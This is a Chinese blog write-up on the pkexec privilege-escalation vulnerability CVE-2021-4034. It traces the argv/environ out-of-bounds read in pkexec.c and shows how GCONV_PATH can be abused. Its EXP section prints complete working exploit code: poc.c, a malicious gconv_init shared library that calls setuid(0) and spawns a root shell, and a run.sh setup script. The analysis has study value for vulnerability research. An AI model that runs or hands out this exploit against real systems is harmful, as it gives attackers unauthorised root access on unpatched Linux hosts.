pkexec 提权漏洞(CVE-2021-4034) 分析

0x0 漏洞简介

【产品描述】polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。

【影响版本】2009年5月至今的所有版本

0x1 环境配置

使用如下命令

sudo docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

我是从这个docker环境中获取受影响版本的pkexec源码,把源码复制到主机中

sudo docker cp cvedebug:/root/polkit-0.105 ~/

为了方便调试,需要用polkit-0.105中的configure程序设定一下编译器的调试参数

./configure CFLAG="-g3"

此过程中可能会报一些依赖库找不到的错误,根据实际情况安装相应的依赖库即可,最后进行正常的编译安装

sudo make & make install

P S : 做 完 这 些 之 后 猛 然 发 现 d o c k e r 环 境 其 实 已 经 集 成 了 调 试 的 环 境 , 直 接 可 以 在 d o c k e r 环 境 下 完 成 调 试 。 毕 竟 已 经 在 自 己 的 机 器 上 做 了 这 些 工 作 , 于 是 接 下 来 的 分 析 也 是 在 我 的 机 器 上 进 行 的 , 就 没 用 d o c k e r 了 。 \textcolor{green}{PS:做完这些之后猛然发现docker环境其实已经集成了调试的环境,直接可以在docker环境下完成调试。毕竟已经在自己的机器上做了这些工作,于是接下来的分析也是在我的机器上进行的,就没用docker了。} PSdockerdockerdocker

0x2 漏洞分析

漏洞位置的代码片段 p o l k i t − 0.105 / s r c / p r o g r a m s / p k e x e c . c : 385 \textcolor{orange}{polkit-0.105/src/programs/pkexec.c:385} polkit0.105/src/programs/pkexec.c:385

int
main (int argc, char *argv[]){
    ...
    if (geteuid () != 0)
    {
      g_printerr ("pkexec must be setuid root\n");
      goto out;
    }
    ...
    /*
     * 循环计数i从0开始,循环解析用户请求的参数
     * 根据这些参数做出不同的行为
     */
    for (n = 1; n < (guint) argc; n++)
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      else if (strcmp (argv[n], "--version") == 0)
        {
          opt_show_version = TRUE;
        }
      else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
        {
          n++;
          if (n >= (guint) argc)
            {
              usage (argc, argv);
              goto out;
            }

          opt_user = g_strdup (argv[n]);
        }
      else if (strcmp (argv[n], "--disable-internal-agent") == 0)
        {
          opt_disable_internal_agent = TRUE;
        }
      else
        {
          break;
        }
    }
    ...
    g_assert (argv[argc] == NULL);
    path = g_strdup (argv[n]);//读取文件路径
    if (path == NULL)
    {
        usage (argc, argv);
        goto out;
    }
    
    if (path[0] != '/')
    {
        //根据文件名获取绝对路径
        s = g_find_program_in_path (path);
        if (s == NULL)
        {
            g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
            goto out;
        }
        g_free (path);
        argv[n] = path = s;
    }
    if (access (path, F_OK) != 0)//检查文件是否存在
    {
      g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
      goto out;
    }
    ...
    exec_argv = argv + n;//将argv[n]作为命令执行的参数,后续会执行这条命令
    ...
    /*命令执行*/
    if (execv (path, exec_argv) != 0)//path作为命令
    {
      g_printerr ("Error executing %s: %s\n", path, g_strerror (errno));
      goto out;
    }
}
  • @line:4 可见pkexec必须在root权限下运行。
  • @line:14 for循环计数i1开始,也就是说pkexec要求我们运行的时候至少带一个参数,否则会在 @line:47处跳到了 m a i n \textcolor{cornflowerblue}{main} main函数结束前的清理工作了。如果这个参数不是pkexec中定义的一些命令选项就会在 @line:41处跳出循环。
  • @line:53 会将参数视作一个文件,并且寻找它的绝对路径,然后在 @line:65 处检查文件是否存在。(例:传入vim则会返回 / u s r / b i n / v i m \textcolor{orange}{/usr/bin/vim} /usr/bin/vim)这里是关键点,假设传入的path P A T H = n a m e = . \textcolor{orange}{PATH=name=.} PATH=name=.,并且保证当前目录下存在 n a m e = . \textcolor{orange}{name=.} name=.,且 n a m e = . \textcolor{orange}{name=.} name=.目录下存在文件file,那么函数 g _ f i n d _ p r o g r a m _ i n _ p a t h \textcolor{cornflowerblue}{g\_find\_program\_in\_path} g_find_program_in_path最终会返回 n a m e = . / f i l e \textcolor{orange}{name=./file} name=./file,这无疑是引入了一个新的环境变量!
  • 省略中间一些环境变量的设置,最后在 @line:74处执行命令。

正常在命令行下运行某个程序,且不带参数时, a r g v [ 0 ] \textcolor{orange}{argv[0]} argv[0]就是运行程序的绝对路径, a r g v [ 1 ] = N U L L \textcolor{orange}{argv[1] = NULL} argv[1]=NULL。另外还有个环境变量参数 e n v i r o n [ ] \textcolor{orange}{environ[]} environ[],需要注意的是这两个参数在栈中是邻居关系, a r g v [ ] \textcolor{orange}{argv[]} argv[]在前, e n v i r o n [ ] \textcolor{orange}{environ[]} environ[]在后。但如果是使用 s y s t e m \textcolor{cornflowerblue}{system} system函数运行某个程序,且不带参数的话, a r g v [ 1 ] \textcolor{orange}{argv[1]} argv[1]将会越界读到 e n v i r o n [ 0 ] \textcolor{orange}{environ[0]} environ[0]。结合pkexec@line:74执行命令的操作,我们能够控制pathexec_argv两个参数。

所以接下来的问题就是如何通过设置环境变量来实现提权?下面需要补充一点额外的知识。

linux 的动态连接器ld-linux-x86-64.so.2 会在root身份下执行程序前清除一些敏感的环境变量

相关代码 g l i b c − 2.23 / e l f / d l − s u p p o r t . c : 321 \textcolor{orange}{glibc-2.23/elf/dl-support.c:321} glibc2.23/elf/dlsupport.c:321

void
_dl_non_dynamic_init (void)
{
 ...
 if (__libc_enable_secure)
 {
   static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
   const char *cp = unsecure_envvars;

   while (cp < unsecure_envvars + sizeof (unsecure_envvars))//循环清除敏感环境变量
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
   if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
 }
}

g l i b c − 2.23 / s y s d e p s / g e n e r i c / u n s e c v a r s . h : 10 \textcolor{orange}{glibc-2.23/sysdeps/generic/unsecvars.h:10} glibc2.23/sysdeps/generic/unsecvars.h:10中定义了敏感的环境变量

#define UNSECURE_ENVVARS \
"GCONV_PATH\0"							      \
"GETCONF_DIR\0"							      \
GLIBC_TUNABLES_ENVVAR							      \
"HOSTALIASES\0"							      \
"LD_AUDIT\0"								      \
"LD_DEBUG\0"								      \
"LD_DEBUG_OUTPUT\0"							      \
"LD_DYNAMIC_WEAK\0"							      \
"LD_HWCAP_MASK\0"							      \
"LD_LIBRARY_PATH\0"							      \
"LD_ORIGIN_PATH\0"							      \
"LD_PRELOAD\0"							      \
"LD_PROFILE\0"							      \
"LD_SHOW_AUXV\0"							      \
"LD_USE_LOAD_BIAS\0"							      \
"LOCALDOMAIN\0"							      \
"LOCPATH\0"								      \
"MALLOC_TRACE\0"							      \
"NIS_PATH\0"								      \
"NLSPATH\0"								      \
"RESOLV_HOST_CONF\0"							      \
"RES_OPTIONS\0"							      \
"TMPDIR\0"								      \
"TZDIR\0"

这些环境变量都有指定加载某个so库的功能。系统之所以要清除这些环境变量,是出于对低权限用户可能会修改这些环境变量让suid程序加载不受信任的so库引发安全问题的考虑。

回到本次漏洞程序中,pkexec给我们提供了系统环境变量的写入机会,所以也就造成了提权的后果。

0x3 漏洞利用

网上公布的POC利用到的环境变量是GCONV_PATH,这对我来说是一个新的利用方式(只能说我太菜了),值得学习!

GCONV_PATHglibc中的iconv系列函数相关,其中有个很重要的函数 i c o n v _ o p e n ( ) \textcolor{cornflowerblue}{iconv\_open()} iconv_open(),该函数的执行过程如下:

  1. 找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的**.so**文件所在位置。
  2. 然后再根据gconv-modules文件的指示去链接参数对应的**.so**文件。
  3. 之后会调用 .so文件中的 g c o n v ( ) \textcolor{cornflowerblue}{gconv()} gconv() g o n v _ i n i t ( ) \textcolor{cornflowerblue}{gonv\_init()} gonv_init()函数。

GCONV_PATH能够允许用户定义自己的gconv-modules文件,gconv-modules文件格式如下:

module UTF-8// charset(字符集)// 字符集对应的文件名 1

利用的方法:

  1. 为了使pkexec能够寻找到path的绝对路径(请见pkexec:385:56),需在当前目录下:

    • 创建两个目录GCONV_PATH=.hack ,同时还要使得 a r g v [ 1 ] = e n v i r o n [ 0 ] = x x x \textcolor{orange}{argv[1]=environ[0]=xxx} argv[1]=environ[0]=xxx(自定义的文件名,要保证这个xxx.so文件)。
    • 创建一个文件GCONV_PATH=./hack,赋予权限777
  2. 将自定义的gconv-modules文件放到hack目录下,定义gconv-modules的内容为:

    module UTF-8// ATTACK// attack 1
    
  3. 编写&编译具体的EXP文件

0x4 EXP

poc.c:

#include 
#include 

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "hack",
                "PATH=GCONV_PATH=.",
                "CHARSET=ATTACK",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/bin/pkexec", a_argv, a_envp);
}

attack.c:

#include 
#include 
#include 

void gconv(){}
void gconv_init()
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./hack'
chmod 777 'GCONV_PATH=./hack'
mkdir hack
echo "module UTF-8// ATTACK// attack 1">>hack/gconv-modules
gcc -fPIC -shared attack.c -o hack/attack.so
gcc poc.c -o poc

0x5 演示

pkexec 提权漏洞(CVE-2021-4034) 分析_第1张图片

0x6 参考

[1] https://blog.csdn.net/Breeze_CAT/article/details/122707460
[2] https://blog.csdn.net/qq_42303523/article/details/117911859

你可能感兴趣的:(提权,漏洞复现与分析,安全,docker,web安全)